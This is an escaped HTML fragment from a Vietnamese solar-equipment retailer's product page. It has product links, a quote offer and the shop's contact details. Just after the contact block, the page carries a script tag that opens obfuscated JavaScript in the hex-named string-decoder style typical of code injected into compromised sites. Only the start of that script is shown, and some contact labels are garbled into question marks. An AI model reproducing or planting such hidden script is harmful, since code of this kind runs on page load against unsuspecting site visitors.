href=\"https:\/\/solarquangbinh.com\/san-pham\/bien-tan-hoa-luoi-co-luu-tru-inverter-deye-1-pha-8kw-sun-8k-sg01lp3\/\">inverter<\/a>, <a href=\"https:\/\/solarquangbinh.com\/san-pham\/tam-pin-nlmt-longi-mono-half-cells-450w-model-lr4-72hph-445m\/\">t\u1ea5m pin m\u1eb7t tr\u1eddi<\/a>\u2026 Li\u00ean h\u1ec7 v\u1edbi ch\u00fang \u0111\u1ec3 \u0111\u01b0\u1ee3c\u00a0<strong style=\"box-sizing: border-box; -webkit-font-smoothing: antialiased; text-rendering: optimizelegibility;\"><span style=\"font-family: 'Arial',sans-serif;\">b\u00e1o gi\u00e1 chi ti\u1ebft c\u00e1c s\u1ea3n ph\u1ea9m, ph\u1ee5 ki\u1ec7n v\u1edbi chi\u1ebft kh\u1ea5u t\u1ed1t nh\u1ea5t d\u00e0nh cho \u0111\u1ed1i t\u00e1c v\u00e0 kh\u00e1ch h\u00e0ng<\/span><\/strong>.<\/span><\/p>\n<p class=\"thin-font\"><em>M\u1ecdi chi ti\u1ebft xin li\u00ean h\u1ec7:<\/em><\/p>\n<p class=\"thin-font\"><strong>THU\u1eacN PHONG ENERGY<\/strong><\/p>\n<p class=\"thin-font\">\u00a0???\u0323 ??\u031b\u0309 ???\u0301??: 30 Nguy\u1ec5n H\u1eefu D\u1eadt, ph\u01b0\u1eddng Nam L\u00fd, th\u00e0nh ph\u1ed1 \u0110\u1ed3ng H\u1edbi, t\u1ec9nh Qu\u1ea3ng B\u00ecnh, Vi\u1ec7t Nam<\/p>\n<p class=\"thin-font\">\u00a0???????: 0869.564.567<\/p>\n<p class=\"thin-font\">\u00a0?????: solarquangbinh@gmail.com<\/p>\n<p class=\"thin-font\">\u00a0???????:\u00a0<a href=\"http:\/\/solarquangbinh.com\/?fbclid=IwAR3zUFLF8MXpUljYR0Yi3UL0eTTEi4_91Koq8M25tL3mW7Co7Ol3wBfO_XE\">http:\/\/solarquangbinh.com\/<\/a><\/p>\n<p class=\"thin-font\">\u00a0??????:\u00a0<a href=\"https:\/\/shopee.vn\/solarquangbinh?fbclid=IwAR0-PJDN4pcbqS9S4So0BDwNDc7TV7BPUHx9NRzrUr6k6W_i_0twuqgehRE\">https:\/\/shopee.vn\/solarquangbinh<\/a><\/p>\n<p class=\"thin-font\">??????:\u00a0<a href=\"https:\/\/www.lazada.vn\/shop\/thuan-phong-electric\/?fbclid=IwAR2xsotZRt4Z-rVUhJ7MQPc_JiXEi6JMSGP7O-E3x6R0dzKqiUetEjudlnU\">https:\/\/www.lazada.vn\/shop\/thuan-phong-electric\/<\/a><\/p>\n<p class=\"thin-font\">\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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